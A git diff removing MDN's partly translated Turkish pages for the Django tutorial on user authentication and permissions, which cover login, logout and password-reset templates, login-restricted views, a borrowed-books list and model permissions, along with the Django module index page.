templates. We'll put them in the main project URLs.</p> - -<div class="note"> -<p><strong>Note</strong>: You don't have to use any of this code, but it is likely that you'll want to because it makes things a lot easier. You'll almost certainly need to change the form handling code if you change your user model (an advanced topic!) but even so, you would still be able to use the stock view functions.</p> -</div> - -<div class="note"> -<p><strong>Note: </strong>In this case we could reasonably put the authentication pages, including the URLs and templates, inside our catalog application. However if we had multiple applications it would be better to separate out this shared login behaviour and have it available across the whole site, so that is what we've shown here!</p> -</div> - -<h3 id="Proje_URL'leri">Proje URL'leri</h3> - -<p>Add the following to the bottom of the project urls.py file (<strong>locallibrary/locallibrary/urls.py</strong>) file:</p> - -<pre class="brush: python">#Add Django site authentication urls (for login, logout, password management) -urlpatterns += [ - url(r'^accounts/', include('django.contrib.auth.urls')), -] -</pre> - -<p>Navigate to the <a href="http://127.0.0.1:8000/accounts/">http://127.0.0.1:8000/accounts/</a> URL (note the trailing forward slash!) and Django will show an error that it could not find this URL, and listing all the URLs it tried. From this you can see the URLs that will work, for example:</p> - -<div class="note"> -<p><strong>Note: </strong>Using the above method adds the following urls with names in square brackets, which can be used to reverse the url mappings. You don't have to implement anything else — the above url mapping automatically maps the below mentioned URLs.</p> -</div> - -<div class="note"> -<pre class="brush: python">^accounts/login/$ [name='login'] -^accounts/logout/$ [name='logout'] -^accounts/password_change/$ [name='password_change'] -^accounts/password_change/done/$ [name='password_change_done'] -^accounts/password_reset/$ [name='password_reset'] -^accounts/password_reset/done/$ [name='password_reset_done'] -^accounts/reset/(?P<uidb64>[0-9A-Za-z_\-]+)/(?P<token>[0-9A-Za-z]{1,13}-[0-9A-Za-z]{1,20})/$ [name='password_reset_confirm'] -^accounts/reset/done/$ [name='password_reset_complete']</pre> -</div> - -<p>Now try to navigate to the login URL (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>). This will fail again, but with an error that tells you that we're missing the required template (<strong>registration/login.html</strong>) on the template search path. You'll see the following lines listed in the yellow section up the top:</p> - -<pre class="brush: python">Exception Type: TemplateDoesNotExist -Exception Value: <strong>registration/login.html</strong></pre> - -<p>The next step is to create a registration directory on the search path and then add the <strong>login.html</strong> file.</p> - -<h3 id="Şablon_dizini">Şablon dizini</h3> - -<p>The urls (and implicitly views) that we just added expect to find their associated templates in a directory <strong>/registration/</strong> somewhere in the templates search path.</p> - -<p>For this site we'll put our HTML pages in the <strong>templates/registration/</strong> directory. This directory should be in your project root directory, i.e the same directory as as the <strong>catalog</strong> and <strong>locallibrary</strong> folders). Please create these folders now.</p> - -<div class="note"> -<p><strong>Note:</strong> Your folder structure should now look like the below:<br> - locallibrary (django project folder)<br> - |_catalog<br> - |_locallibrary<br> - |_templates <strong>(new)</strong><br> - |_registration</p> -</div> - -<p>To make these directories visible to the template loader (i.e. to put this directory in the template search path) open the project settings (<strong>/locallibrary/locallibrary/settings.py</strong>), and update the <code>TEMPLATES</code> section's <code>'DIRS'</code> line as shown.</p> - -<pre class="brush: python">TEMPLATES = [ - { - ... -<strong> 'DIRS': ['./templates',],</strong> - 'APP_DIRS': True, - ... -</pre> - -<h3 id="Login_template">Login template</h3> - -<div class="warning"> -<p><strong>Important</strong>: The authentication templates provided in this article are very basic/slightly modified version of the Django demonstration login templates. You may need to customise them for your own use!</p> -</div> - -<p>Create a new HTML file called /<strong>locallibrary/templates/registration/login.html</strong>. give it the following contents:</p> - -<pre class="brush: html">{% extends "base_generic.html" %} - -{% block content %} - -{% if form.errors %} -<p>Your username and password didn't match. Please try again.</p> -{% endif %} - -{% if next %} - {% if user.is_authenticated %} - <p>Your account doesn't have access to this page. To proceed, - please login with an account that has access.</p> - {% else %} - <p>Please login to see this page.</p> - {% endif %} -{% endif %} - -<form method="post" action="{% url 'login' %}"> -{% csrf_token %} - -<div> - <td>\{{ form.username.label_tag }}</td> - <td>\{{ form.username }}</td> -</div> -<div> - <td>\{{ form.password.label_tag }}</td> - <td>\{{ form.password }}</td> -</div> - -<div> - <input type="submit" value="login" /> - <input type="hidden" name="next" value="\{{ next }}" /> -</div> -</form> - -{# Assumes you setup the password_reset view in your URLconf #} -<p><a href="{% url 'password_reset' %}">Lost password?</a></p> - -{% endblock %}</pre> - -<p id="sect1">This template shares some similarities with the ones we've seen before — it extends our base template and overrides the <code>content</code> block. The rest of the code is fairly standard form handling code, which we will discuss in a later tutorial. All you need to know for now is that this will display a form in which you can enter your username and password, and that if you enter invalid values you will be prompted to enter correct values when the page refreshes.</p> - -<p>Navigate back to the login page (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>) once you've saved your template, and you should see something like this:</p> - -<p><img alt="Library login page v1" src="https://mdn.mozillademos.org/files/14101/library_login.png" style="border-style: solid; border-width: 1px; display: block; height: 173px; margin: 0px auto; width: 441px;"></p> - -<p>If you try to login that will succeed and you'll be redirected to another page (by default this will be <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>). The problem here is that by default Django expects that after login you will want to be taken to a profile page, which may or may not be the case. As you haven't defined this page yet, you'll get another error!</p> - -<p>Open the project settings (<strong>/locallibrary/locallibrary/settings.py</strong>) and add the text below to the bottom. Now when you login you should be redirected to the site home page by default.</p> - -<pre class="brush: python"># Redirect to home URL after login (Default redirects to /accounts/profile/) -LOGIN_REDIRECT_URL = '/' -</pre> - -<h3 id="Logout_template">Logout template</h3> - -<p>If you navigate to the logout url (<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>) then you'll see some odd behaviour — your user will be logged out sure enough, but you'll be taken to the <strong>Admin</strong> logout page. That's not what you want, if only because the login link on that page takes you to the Admin login screen (and that is only available to users who have the <code>is_staff</code> permission).</p> - -<p>Create and open /<strong>locallibrary/templates/registration/logged_out.html</strong>. Copy in the text below:</p> - -<pre class="brush: html">{% extends "base_generic.html" %} - -{% block content %} -<p>Logged out!</p> - -<a href="{% url 'login'%}">Click here to login again.</a> -{% endblock %}</pre> - -<p>This template is very simple. It just displays a message informing you that you have been logged out, and provides a link that you can press to go back to the login screen. If you go to the logout URL again you should see this page:</p> - -<p><img alt="Library logout page v1" src="https://mdn.mozillademos.org/files/14103/library_logout.png" style="border-style: solid; border-width: 1px; display: block; height: 169px; margin: 0px auto; width: 385px;"></p> - -<h3 id="Password_reset_templates">Password reset templates</h3> - -<p>The default password reset system uses email to send the user a reset link. You need to create forms to get the user's email address, send the email, allow them to enter a new password, and to note when the whole process is complete.</p> - -<p>The following templates can be used as a starting point.</p> - -<h4 id="Password_reset_form">Password reset form</h4> - -<p>This is the form used to get the user's email address (for sending the password reset email). Create <strong>/locallibrary/templates/registration/password_reset_form.html</strong>, and give it the following contents:</p> - -<pre class="brush: html">{% extends "base_generic.html" %} -{% block content %} - -<form action="" method="post">{% csrf_token %} - {% if form.email.errors %} \{{ form.email.errors }} {% endif %} - <p>\{{ form.email }}</p> - <input type="submit" class="btn btn-default btn-lg" value="Reset password" /> -</form> - -{% endblock %} -</pre> - -<h4 id="Password_reset_done">Password reset done</h4> - -<p>This form is displayed after your email address has been collected. Create <strong>/locallibrary/templates/registration/password_reset_done.html</strong>, and give it the following contents:</p> - -<pre class="brush: html">{% extends "base_generic.html" %} -{% block content %} -<p>We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.</p> -{% endblock %} -</pre> - -<h4 id="Password_reset_email">Password reset email</h4> - -<p>This template provides the text of the HTML email containing the reset link that we will send to users. Create <strong>/locallibrary/templates/registration/password_reset_email.html</strong>, and give it the following contents:</p> - -<pre class="brush: html">Someone asked for password reset for email \{{ email }}. Follow the link below: -\{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %} -</pre> - -<h4 id="Password_reset_confirm">Password reset confirm</h4> - -<p>This page is where you enter your new password after clicking the link in the password-reset email. Create <strong>/locallibrary/templates/registration/password_reset_confirm.html</strong>, and give it the following contents:</p> - -<pre class="brush: html">{% extends "base_generic.html" %} - -{% block content %} - - {% if validlink %} - <p>Please enter (and confirm) your new password.</p> - <form action="" method="post"> - <div style="display:none"> - <input type="hidden" value="\{{ csrf_token }}" name="csrfmiddlewaretoken"> - </div> - <table> - <tr> - <td>\{{ form.new_password1.errors }} - <label for="id_new_password1">New password:</label></td> - <td>\{{ form.new_password1 }}</td> - </tr> - <tr> - <td>\{{ form.new_password2.errors }} - <label for="id_new_password2">Confirm password:</label></td> - <td>\{{ form.new_password2 }}</td> - </tr> - <tr> - <td></td> - <td><input type="submit" value="Change my password" /></td> - </tr> - </table> - </form> - {% else %} - <h1>Password reset failed</h1> - <p>The password reset link was invalid, possibly because it has already been used. Please request a new password reset.</p> - {% endif %} - -{% endblock %} -</pre> - -<h4 id="Password_reset_complete">Password reset complete</h4> - -<p>This is the last password-reset template, which is displayed to notify you when the password reset has succeeded. Create <strong>/locallibrary/templates/registration/password_reset_complete.html</strong>, and give it the following contents:</p> - -<pre class="brush: html">{% extends "base_generic.html" %} -{% block content %} - -<h1>The password has been changed!</h1> -<p><a href="{% url 'login' %}">log in again?</a></p> - -{% endblock %}</pre> - -<h3 id="Testing_the_new_authentication_pages">Testing the new authentication pages</h3> - -<p>Now that you've added the URL configuration and created all these templates, the authentication pages should now just work!</p> - -<p>You can test the new authentication pages by attempting to login and then logout your superuser account using these URLs:</p> - -<ul> - <li><a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a></li> - <li><a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a></li> -</ul> - -<p>You'll be able to test the password reset functionality from the link in the login page. <strong>Be aware that Django will only send reset emails to addresses (users) that are already stored in its database!</strong></p> - -<div class="note"> -<p><strong>Note</strong>: The password reset system requires that your website supports email, which is beyond the scope of this article, so this part <strong>won't work yet</strong>. To allow testing, put the following line at the end of your settings.py file. This logs any emails sent to the console (so you can copy the password reset link from the console).</p> - -<pre class="brush: python">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' -</pre> - -<p>For more information, see <a href="https://docs.djangoproject.com/en/1.10/topics/email/">Sending email</a> (Django docs).</p> -</div> - -<h2 id="Testing_against_authenticated_users">Testing against authenticated users</h2> - -<p>This section looks at what we can do to selectively control content the user sees based on whether they are logged in or not.</p> - -<h3 id="Testing_in_templates">Testing in templates</h3> - -<p>You can get information about the currently logged in user in templates with the <code>\{{ user }}</code> template variable (this is added to the template context by default when you set up the project as we did in our skeleton).</p> - -<p>Typically you will first test against the <code>\{{ user.is_authenticated }}</code> template variable to determine whether the user is eligible to see specific content. To demonstrate this, next we'll update our sidebar to display a "Login" link if the user is logged out, and a "Logout" link if they are logged in.</p> - -<p>Open the base template (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) and copy the following text into the <code>sidebar</code> block, immediately before the <code>endblock</code> template tag.</p> - -<pre class="brush: html"> <ul class="sidebar-nav"> - - ... - - <strong>{% if user.is_authenticated %}</strong> - <li>User: <strong>\{{ user.get_username }}</strong></li> - <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li> - <strong>{% else %}</strong> - <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li> - <strong>{% endif %} </strong> - </ul></pre> - -<p>As you can see, we use <code>if</code>-<code>else</code>-<code>endif</code> template tags to conditionally display text based on whether <code>\{{ user.is_authenticated }}</code> is true. If the user is authenticated then we know that we have a valid user, so we call <strong>\{{ user.get_username }} </strong>to display their name.</p> - -<p>We create the login and logout link URLs using the <code>url</code> template tag and the names of the respective URL configurations. Note also how we have appended <code>?next=\{{request.path}}</code> to the end of the URLs. What this does is add a URL parameter <font face="Consolas, Liberation Mono, Courier, monospace">next</font> containing the address (URL) of the <em>current</em> page, to the end of the linked URL. After the user has successfully logged in/out, the views will use this "<code>next</code>" value to redirect the user back to the page where they first clicked the login/logout link.</p> - -<div class="note"> -<p><strong>Note</strong>: Try it out! If you're on the home page and you click Login/Logout in the sidebar, then after the operation completes you should end up back on the same page.</p> -</div> - -<h3 id="Testing_in_views">Testing in views</h3> - -<p>If you're using function-based views, the easiest way to restrict access to your functions is to apply the <code>login_required</code> decorator to your view function, as shown below. If the user is logged in then your view code will execute as normal. If the user is not logged in, this will redirect to the login URL defined in the project settings (<code>settings.LOGIN_URL</code>), passing the current absolute path as the <code>next</code> URL parameter. If the user succeeds in logging in then they will be returned back to this page, but this time authenticated.</p> - -<pre class="brush: python">from django.contrib.auth.decorators import login_required - -@login_required -def my_view(request): - ...</pre> - -<div class="note"> -<p><strong>Note:</strong> You can do the same sort of thing manually by testing on <code>request.user.is_authenticated</code>, but the decorator is much more convenient!</p> -</div> - -<p>Similarly, the easiest way to restrict access to logged-in users in your class-based views is to derive from <code>LoginRequiredMixin</code>. You need to declare this mixin first in the super class list, before the main view class.</p> - -<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin - -class MyView(LoginRequiredMixin, View): - ...</pre> - -<p>This has exactly the same redirect behaviour as the <code>login_required</code> decorator. You can also specify an alternative location to redirect the user to if they are not authenticated (<code>login_url</code>), and a URL parameter name instead of "<code>next</code>" to insert the current absolute path (<code>redirect_field_name</code>).</p> - -<pre class="brush: python">class MyView(LoginRequiredMixin, View): - login_url = '/login/' - redirect_field_name = 'redirect_to' -</pre> - -<p>For additional detail, check out the <a href="https://docs.djangoproject.com/en/1.10/topics/auth/default/#limiting-access-to-logged-in-users">Django docs here</a>.</p> - -<h2 id="Example_—_listing_the_current_user's_books">Example — listing the current user's books</h2> - -<p>Now that we know how to restrict a page to a particular user, lets create a view of the books that the current user has borrowed.</p> - -<p>Unfortunately we don't yet have any way for users to borrow books! So before we can create the book list we'll first extend the <code>BookInstance</code> model to support the concept of borrowing and use the Django Admin application to loan a number of books to our test user.</p> - -<h3 id="Models">Models</h3> - -<p>First we're going to have to make it possible for users to have a <code>BookInstance</code> on loan (we already have a <code>status</code> and a <code>due_back</code> date, but we don't yet have any association between this model and a User. We'll create one using a <code>ForeignKey</code> (one-to-many) field. We also need an easy mechanism to test whether a loaned book is overdue.</p> - -<p>Open <strong>catalog/models.py</strong>, and import the <code>User</code> model from <code>django.contrib.auth.models</code> (add this just below the previous import line at the top of the file, so <code>User</code> is available to subsequent code that makes use of it):</p> - -<pre class="brush: python">from django.contrib.auth.models import User -</pre> - -<p>Next add the <code>borrower</code> field to the <code>BookInstance</code> model:</p> - -<pre class="brush: python">borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True) -</pre> - -<p>While we're here, lets add a property that we can call from our templates to tell if a particular book instance is overdue. While we could calculate this in the template itself, using a property as shown below will be much more efficient.</p> - -<pre class="brush: python">from datetime import date - -@property -def is_overdue(self): - if self.due_back and date.today() > self.due_back: - return True - return False</pre> - -<div class="note"> -<p><strong>Note</strong>: We first verify whether <code>due_back</code> is empty before making a comparison. An empty <code>due_back</code> field would cause Django to throw an error instead of showing the page: empty values are not comparable. This is not something we would want our users to experience!</p> -</div> - -<p>Now that we've updated our models, we'll need to make fresh migrations on the project and then apply those migrations:</p> - -<pre class="brush: bash">python3 manage.py makemigrations -python3 manage.py migrate -</pre> - -<h3 id="Admin">Admin</h3> - -<p>Now open <strong>catalog/admin.py</strong>, and add the <code>borrower</code> field to the <code>BookInstanceAdmin</code> class in both the <code>list_display</code> and the <code>fieldsets</code> as shown below. This will make the field visible in the Admin section, so that we can assign a <code>User</code> to a <code>BookInstance</code> when needed.</p> - -<pre class="brush: python">@admin.register(BookInstance) -class BookInstanceAdmin(admin.ModelAdmin): - list_display = ('book', 'status'<strong>, 'borrower'</strong>, 'due_back', 'id') - list_filter = ('status', 'due_back') - - fieldsets = ( - (None, { - 'fields': ('book','imprint', 'id') - }), - ('Availability', { - 'fields': ('status', 'due_back'<strong>,'borrower'</strong>,) - }), - )</pre> - -<h3 id="Loan_a_few_books">Loan a few books</h3> - -<p>Now that its possible to loan books to a specific user, go and loan out a number of <code>BookInstance</code> records. Set their <code>borrowed</code> field to your test user, make the <code>status</code> "On loan" and set due dates both in the future and the past.</p> - -<div class="note"> -<p><strong>Note</strong>: We won't spell the process out, as you already know how to use the Admin site!</p> -</div> - -<h3 id="On_loan_view">On loan view</h3> - -<p>Now we'll add a view for getting the list of all books that have been loaned to the current user. We'll use the same generic class-based list view we're familiar with, but this time we'll also import and derive from <code>LoginRequiredMixin</code>, so that only a logged in user can call this view. We will also choose to declare a <code>template_name</code>, rather than using the default, because we may end up having a few different lists of BookInstance records, with different views and templates.</p> - -<p>Add the following to catalog/views.py:</p> - -<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin - -class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): - """ - Generic class-based view listing books on loan to current user. - """ - model = BookInstance - template_name ='catalog/bookinstance_list_borrowed_user.html' - paginate_by = 10 - - def get_queryset(self): - return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre> - -<p>In order to restrict our query to just the BookInstance objects for the current user, we re-implement <code>get_queryset()</code> as shown above. Note that "o" is the stored code for "on loan" and we order by the <code>due_back</code> date so that the oldest items are displayed first.</p> - -<h3 id="URL_conf_for_on_loan_books">URL conf for on loan books</h3> - -<p>Now open <strong>/catalog/urls.py</strong> and add an <code>url()</code> pointing to the above view (you can just copy the text below to the end of the file).</p> - -<pre class="brush: python">urlpatterns += [ - url(r'^mybooks/$', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'), -]</pre> - -<h3 id="Template_for_on_loan_books">Template for on loan books</h3> - -<p>Now all we need to do for this page is add a template. First, create the template file <strong>/catalog/templates/catalog/bookinstance_list_borrowed_user.html</strong> and give it the following contents:</p> - -<pre class="brush: python">{% extends "base_generic.html" %} - -{% block content %} - <h1>Borrowed books</h1> - - {% if bookinstance_list %} - <ul> - - {% for bookinst in bookinstance_list %} - <li class="{% if bookinst.is_overdue %}text-danger{% endif %}"> - <a href="{% url 'book-detail' bookinst.book.pk %}">\{{bookinst.book.title}}</a> (\{{ bookinst.due_back }}) - </li> - {% endfor %} - </ul> - - {% else %} - <p>There are no books borrowed.</p> - {% endif %} -{% endblock %}</pre> - -<p>This template is very similar to those we've created previously for the <code>Book</code> and <code>Author</code> objects. The only thing "new" here is that we check the method we added in the model <code>(bookinst.is_overdue</code>) and use it to change the colour of overdue items.</p> - -<p>When the development server is running, you should now be able to view the list for a logged in user in your browser at <a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>. Try this out with your user logged in and logged out (in the second case, you should be redirected to the login page).</p> - -<h3 id="Add_the_list_to_the_sidebar">Add the list to the sidebar</h3> - -<p>The very last step is to add a link for this new page into the sidebar. We'll put this in the same section where we display other information for the logged in user.</p> - -<p>Open the base template (<strong>/locallibrary/catalog/templates/base_generic.html</strong>) and add the line in bold to the sidebar as shown.</p> - -<pre class="brush: python"> <ul class="sidebar-nav"> - {% if user.is_authenticated %} - <li>User: \{{ user.get_username }}</li> -<strong> <li><a href="{% url 'my-borrowed' %}">My Borrowed</a></li></strong> - <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li> - {% else %} - <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li> - {% endif %} - </ul> -</pre> - -<h3 id="Nasıl_görünüyor">Nasıl görünüyor?</h3> - -<p>Herhangi bir kullanıcı giriş yaptığında, aşağıda görüntülendiği şekilde, kenar çubuğunda <em>My Borrowed</em> bağlantısını ve kitaplar listesini görecekler (ilk kitabın due date'i yok, bir sonraki tutorial'da gidereceğimiz bir bug!).</p> - -<p><img alt="Library - borrowed books by user" src="https://mdn.mozillademos.org/files/14105/library_borrowed_by_user.png" style="border-style: solid; border-width: 1px; display: block; height: 215px; margin: 0px auto; width: 530px;"></p> - -<h2 id="İzinler">İzinler</h2> - -<p>İzinler modellerle ilişklidir ve izni olan bir kullanıcı tarafından bir modele uygulanabilecek operasyonları tanımlar. Varsayılan olarak, Django otomatik olarak tüm modellere <em>add</em>, <em>change</em> ve <em>delete</em> izinlerini verir, which izinli kullanıcıların admin sitesi aracılığıyla ilgili eylemleri uygulamaasını sağlar. You can define your own permissions to models and grant them to specific users. You can also change the permissions associated with different instances of the same model.</p> - -<p>Testing on permissions in views and templates is then very similar for testing on the authentication status (and in fact, testing for a permission also tests for authentication).</p> - -<h3 id="Models_2">Models</h3> - -<p>Defining permissions is done on the model "<code>class Meta</code>" section, using the <code>permissions</code> field. You can specify as many permissions as you need in a tuple, each permission itself being defined in a nested tuple containing the permission name and permission display value. For example, we might define a permission to allow a user to mark that a book has been returned as shown:</p> - -<pre class="brush: python">class BookInstance(models.Model): - ... - class Meta: - ... -<strong> permissions = (("can_mark_returned", "Set book as returned"),) </strong> </pre> - -<p>We could then assign the permission to a "Librarian" group in the Admin site.</p> - -<p>Open the <strong>catalog/models.py</strong>, and add the permission as shown above. You will need to re-run your migrations (call <code>python3 manage.py makemigrations</code> and <code>python3 manage.py migrate</code>) to update the database appropriately.</p> - -<h3 id="Templates">Templates</h3> - -<p>The current user's permissions are stored in a template variable called <code>\{{ perms }}</code>. You can check whether the current user has a particular permission using the specific variable name within the associated Django "app" — e.g. <code>\{{ perms.catalog.can_mark_returned }}</code> will be <code>True</code> if the user has this permission, and <code>False</code> otherwise. We typically test for the permission using the template <code>{% if %}</code> tag as shown:</p> - -<pre class="brush: python">{% if perms.catalog.<code>can_mark_returned</code> %} - <!-- We can mark a BookInstance as returned. --> - <!-- Perhaps add code to link to a "book return" view here. --> -{% endif %} -</pre> - -<h3 id="Views">Views</h3> - -<p>Permissions can be tested in function view using the <code>permission_required</code> decorator or in a class-based view using the <code>PermissionRequiredMixin</code>. The pattern and behaviour are the same as for login authentication, though of course you might reasonably have to add multiple permissions.</p> - -<p>Function view decorator:</p> - -<pre class="brush: python">from django.contrib.auth.decorators import permission_required - -@permission_required('catalog.<code>can_mark_returned</code>') -@permission_required('catalog.<code>can_edit</code>') -def my_view(request): - ...</pre> - -<p>Permission-required mixin for class-based views.</p> - -<pre class="brush: python">from django.contrib.auth.mixins import PermissionRequiredMixin - -class MyView(PermissionRequiredMixin, View): - permission_required = 'catalog.<code>can_mark_returned</code>' - # Or multiple permissions - permission_required = ('catalog.<code>can_mark_returned</code>', 'catalog.can_edit') - # Note that 'catalog.can_edit' is just an example - # the catalog application doesn't have such permission!</pre> - -<h3 id="Example">Example</h3> - -<p>We won't update the <em>LocalLibrary</em> here; perhaps in the next tutorial!</p> - -<h2 id="Challenge_yourself">Challenge yourself</h2> - -<p>Earlier in this article we showed you how to create a page for the current user listing the books that they have borrowed. The challenge now is to create a similar page that is only visible for librarians, that displays <em>all</em> books that have been borrowed, and which includes the name of each borrower.</p> - -<p>You should be able to follow the same pattern as for the other view. The main difference is that you'll need to restrict the view to only librarians. You could do this based on whether the user is a staff member (function decorator: <code>staff_member_required</code>, template variable: <code>user.is_staff</code>) but we recommend that you instead use the <code>can_mark_returned</code> permission and <code>PermissionRequiredMixin</code>, as described in the previous section.</p> - -<div class="warning"> -<p><strong>Important</strong>: Remember not to use your superuser for permissions based testing (permission checks always return true for superusers, even if a permission has not yet been defined!). Instead create a librarian user, and add the required capability.</p> -</div> - -<p>When you are finished, your page should look something like the screenshot below.</p> - -<p><img alt="All borrowed books, restricted to librarian" src="https://mdn.mozillademos.org/files/14115/library_borrowed_all.png" style="border-style: solid; border-width: 1px; display: block; height: 283px; margin: 0px auto; width: 500px;"></p> - -<ul> -</ul> - -<h2 id="Summary">Summary</h2> - -<p>Excellent work — you've now created a website that library members can login into and view their own content, and that librarians (with the correct permission) can use to view all loaned books and their borrowers. At the moment we're still just viewing content, but the same principles and techniques are used when you want to start modifying and adding data.</p> - -<p>In our next article we'll look at how you can use Django forms to collect user input, and then start modifying some of our stored data.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="https://docs.djangoproject.com/en/1.10/topics/auth/">User authentication in Django</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/topics/auth/default//">Using the (default) Django authentication system</a> (Django docs)</li> - <li><a href="https://docs.djangoproject.com/en/1.10/topics/class-based-views/intro/#decorating-class-based-views">Introduction to class-based views > Decorating class-based views</a> (Django docs)</li> -</ul> - -<p>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</p> diff --git a/files/tr/learn/server-side/django/index.html b/files/tr/learn/server-side/django/index.html deleted file mode 100644 index e86962900e..0000000000 --- a/files/tr/learn/server-side/django/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: Django Web Framework (Python) -slug: Learn/Server-side/Django -tags: - - Beginner - - CodingScripting - - Intro - - Learn - - NeedsTranslation - - Python - - Server-side programming - - TopicStub - - django -translation_of: Learn/Server-side/Django -original_slug: Öğren/Server-side/Django ---- -<p>{{draft("Contact Hamish Willee via ~~chrisdavidmills if you have any questions about this work.")}}</p> - -<p class="summary">Django is an extremely popular and fully featured server-side web framework, written in Python. The module shows you why Django is one of the most popular web server frameworks, how to set up a development environment, and how to get started with using it to create your own web applications.</p> - -<h2 id="Prerequisites">Prerequisites</h2> - -<p>Before starting this module you don't need to have any knowledge of Django. You will need to understand what server-side web programming and web frameworks are, ideally by reading the topics in our <a href="/en-US/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a> module.</p> - -<p>A general knowledge of programming concepts and <a href="/en-US/docs/Glossary/Python">Python</a> is recommended, but not essential to understanding the core concepts.</p> - -<div class="note"> -<p><strong>Note</strong>: Python is one of the easiest programming languages for novices to read and understand. That said, if you want to understand this module better then there are numerous free books and tutorials available on the Internet (new programmers might want to check out the <a href="https://wiki.python.org/moin/BeginnersGuide/NonProgrammers">Python for Non Programmers</a> page on the python.org wiki).</p> -</div> - -<h2 id="Guides">Guides</h2> - -<dl> - <dt><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django Introduction</a></dt> - <dd>In this first Django article we answer the question "What is Django?" and give you an overview of what makes this web framework special. We'll outline the main features, including some of the advanced functionality that we won't have time to cover in detail in this module. We'll also show you some of the main building blocks of a Django application, to give you an idea of what it can do before you then go on to set it up and start playing.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></dt> - <dd>Now that you know what Django is for, we'll show you how to setup and test a Django development environment on Windows, Linux (Ubuntu), and Mac OS X — whatever common operating system you are using, this article should give you what you need to be able to start developing Django apps.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial — The Local Library website</a></dt> - <dd>The first article in our practical tutorial series explains what you'll learn, and provides an overview of the "local library" example website we'll be working through and evolving in subsequent articles.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></dt> - <dd>This article shows how you can create a "skeleton" website project as a basis, which you can then go on to populate with site-specific settings, urls, models, views, and templates.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></dt> - <dd>This article shows how to define models for the <em>LocalLibrary</em> website — models represent the data structures we want to store our app's data in, and also allow Django to store data in a database for us (and modify it later on). It explains what a model is, how it is declared, and some of the main field types. It also briefly shows a few of the main ways you can access model data.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></dt> - <dd>Now that we've created models for the <em>LocalLibrary </em>website, we'll use the Django Admin site to add some "real" book data. First we'll show you how to register the models with the admin site, then we'll show you how to login and create some data. At the end we show some of ways you can further improve the presentation of the admin site.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></dt> - <dd>We're now ready to add the code to display our first full page — a home page for the <em>LocalLibrary</em> that shows how many records we have of each model type and provides sidebar navigation links to our other pages. Along the way we'll gain practical experience in writing basic URL maps and views, getting records from the database, and using templates.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></dt> - <dd>This tutorial extends our <em>LocalLibrary</em> website, adding list and detail pages for books and authors. Here we'll learn about generic class-based views, and show how they can reduce the amount of code you have to write for common use cases. We'll also go into URL handling in greater detail, showing how to perform basic pattern matching.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></dt> - <dd>This tutorial extends our <em>LocalLibrary</em> website, adding a session-based visit-counter to the home page. This is a relatively simple example, but it does shows how you can use the session framework to provide peristent behaviour for anonymous users in your own sites.</dd> - <dt><a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions">Django Tutorial Part 8: User authentication and permissions</a></dt> - <dd>In this tutorial we'll show you how to allow users to login to your site with their own accounts, and how to control what they can do and see based on whether or not they are logged in and their <em>permissions</em>. As part of this demonstration we'll extend the <em>LocalLibrary</em> website, adding login and logout pages, and user- and staff-specific pages for viewing books that have been borrowed.</dd> - <dd> </dd> - <dt>Forms (TBD)</dt> - <dd><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML Forms</a> are used to collect user data and send it to a website for processing. Form handling can be complicated, and includes creating the HTML code for the form, validating the entered data on both the client and server, processing/storing the returned data, and returning a response. Django simplifies much of this work, and is even capable of reusing data defined in the model for creating a form — this article shows how.</dd> - <dt> </dt> - <dt>Testing Django code (TBD)</dt> - <dd>For very basic sites with only a few lines of code, you may be able to get away with manual testing. As your site gets larger, an automated test suite can help to validate new code as it is written and is the only practical way to ensure that changes to not introduce new bugs. This article provides a very brief overview of the recommended way to write and run unit tests in your Django web application.</dd> - <dt>Django web application security (TBD)</dt> - <dd>Protecting user data is an essential part of any website design. We already explained some of the more common security threats in the topic <a href="/en-US/docs/Web/Security">Web security</a> — this article builds on that information, providing a 